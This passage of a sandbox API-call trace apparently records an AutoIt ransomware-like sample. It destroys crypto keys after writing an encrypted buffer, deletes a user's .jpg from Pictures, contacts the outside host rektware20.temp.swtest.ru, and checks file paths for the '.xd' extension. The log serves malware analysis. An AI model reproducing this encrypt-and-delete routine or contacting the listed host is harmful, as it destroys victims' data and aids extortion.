wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.148] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.148] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.148] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.148] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.149] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.149] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.149] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.149] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.149] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.156] WriteFile (in: hFile=0x3bc, lpBuffer=0x1884c50*, nNumberOfBytesToWrite=0x17c40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1884c50*, lpNumberOfBytesWritten=0x130f01c*=0x17c40, lpOverlapped=0x0) returned 1 [0061.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.157] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.157] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.158] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.158] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.158] CryptDestroyKey (hKey=0x164c830) returned 1 [0061.158] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.158] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.158] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.158] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.158] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.158] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.158] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.158] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.159] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.159] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.159] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.159] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.159] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.159] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.159] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.159] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.159] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.159] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.159] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.159] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.159] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.159] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.159] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.159] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.159] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.159] CryptReleaseContext (hProv=0x17aa340, dwFlags=0x0) returned 1 [0061.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.160] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.160] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.160] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.160] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.160] CloseHandle (hObject=0x2ac) returned 1 [0061.160] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.160] CloseHandle (hObject=0x3bc) returned 1 [0061.164] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.166] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", lpFilePart=0x0) returned 0x4e [0061.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\7krkno4q3fzy.jpg")) returned 0x20 [0061.166] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2f0 [0061.167] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\7krkno4q3fzy.jpg")) returned 1 [0061.170] FindNextFileW (in: hFindFile=0x164c2f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.170] FindClose (in: hFindFile=0x164c2f0 | out: hFindFile=0x164c2f0) returned 1 [0061.170] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.171] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.171] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.171] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.171] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.171] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.171] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.171] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0061.171] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.171] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.171] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.173] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.174] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.174] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.174] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.174] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.174] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.176] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.176] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.176] CloseHandle (hObject=0x0) returned 0 [0061.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", 